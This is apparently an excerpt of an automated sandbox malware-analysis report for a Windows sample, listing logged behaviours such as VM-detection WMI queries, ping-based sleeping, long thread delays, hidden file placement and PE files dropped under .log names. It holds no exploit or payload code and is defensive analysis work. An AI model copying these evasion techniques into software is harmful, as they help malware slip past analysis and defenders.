Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost			Jump to behavior

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Memory allocated: 810000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Memory allocated: 1A500000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Memory allocated: 8A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Memory allocated: 1A3F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 599868	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 599702	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 597780	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 595969	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 595712	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 594187	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 593969	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 593655	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 593453	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 593328	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 592906	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 592469	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 592062	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 591734	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 591312	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 591094	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 590734	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 590375	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 590062	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 589719	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 589420	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 589090	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 588773	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 588593	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 588439	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 588312	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 588203	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 588093	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587984	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587875	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587756	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587640	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587531	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587406	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587281	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587172	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587062	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 586953	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 586844	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 586727	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 586624	Jump to behavior

Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Window / User API: threadDelayed 2416			Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Window / User API: threadDelayed 7062			Jump to behavior

Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\oUNDhiUw.log	Jump to dropped file
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dFZxqctW.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\yTUtFuTG.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\luKnOVOf.log	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe TID: 2260	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 6160	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -599868s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -599702s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -597937s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 2940	Thread sleep time: -18000000s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -597780s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 2940	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -597422s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -595969s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -595712s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -595391s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -594875s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -594562s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -594187s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -593969s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -593655s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -593453s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -593328s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -592906s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -592469s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -592062s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -591734s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -591312s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -591094s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -590734s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -590375s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -590062s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -589719s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -589420s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -589090s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -588773s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -588593s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -588439s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -588312s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -588203s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -588093s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -587984s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -587875s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -587756s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -587640s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -587531s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -587406s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -587281s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -587172s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -587062s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -586953s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -586844s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -586727s >= -30000s	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe TID: 3552	Thread sleep time: -586624s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_00200C97 FindFirstFileExW,	0_2_00200C97
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_00200D48 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00200D48
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_00200C97 FindFirstFileExW,	5_2_00200C97
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_00200D48 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00200D48
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_0041B6EA FindFirstFileExW,	6_2_0041B6EA

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe

Code function: 12_2_00007FF848F2D59A GetSystemInfo,

12_2_00007FF848F2D59A

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 599868	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 599702	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 597937	Jump to behavior
